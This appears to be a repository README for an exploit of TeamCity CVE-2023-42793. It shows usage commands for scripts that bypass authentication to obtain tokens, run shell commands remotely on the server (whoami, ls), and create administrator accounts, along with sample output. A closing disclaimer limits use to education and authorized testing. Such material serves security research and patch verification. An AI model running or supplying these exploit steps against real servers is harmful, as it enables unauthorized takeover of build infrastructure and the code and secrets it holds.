
Exploit for TeamCity CVE-2023-42793 enabling remote code execution and administrator account creation via token-based authentication bypass.
Example of command execution:
python3 exploit.py -u http://localhost
User add token -> eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 16ms
Command -> ls -la /home
StdOut:total 8
drwxr-xr-x 2 root root 4096 Apr 15 2020 .
drwxr-xr-x 1 root root 4096 Feb 28 2024 ..
StdErr:
Exit code: 0
Time: 23ms
In case the token expires, a new one will be created automatically.
Command -> whoami
[-] Token expired, restarting...
[!]Error deleting user
User add token -> eyJ0eXAiOiAiVENWMiJ9.ZVJiSTB6SGZWSEpldzhEa1o4cUdsWFlQRTJJ.NGQxOTg4ZWItNTJmYS00OWM3LWIwYmItZjcyODNkYjg5NTJj
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 24ms
Create username administrator:
python3 user_add_administrator.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Z21xU3ZtTXNYUXE2WGdkaWJCOFV4QWsxN2s0.NmMyZDE0YTItMDQ1OS00NGQ2LTk2YWEtNjg1MTU3ZGNiNjM0
Create username administrator
In case there is an existing user:
python3 user_add.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Q3ZFa0ExR2tBcGlSMUZ3ZWNyMUtNN0VPQmFN.Mzk0M2EyZjAtMzVhNi00YTU0LWFmNTctMTg4MThkZmU5MDA3
is already in use by some other user.
This repository is for educational and research purposes only in computer security. The use of the scripts and techniques described here to compromise systems without authorization is illegal and violates national and international laws, such as Law 26.388 (Argentina), the CFAA (USA), and the Budapest Convention.
The author is not responsible for the misuse of the information provided here. The use of this material is permitted only in controlled environments, labs, CTFs, or with the explicit authorization of the system owner.
If you are going to perform tests, make sure you have permission. Hacking without authorization is not ethical hacking; it is a crime.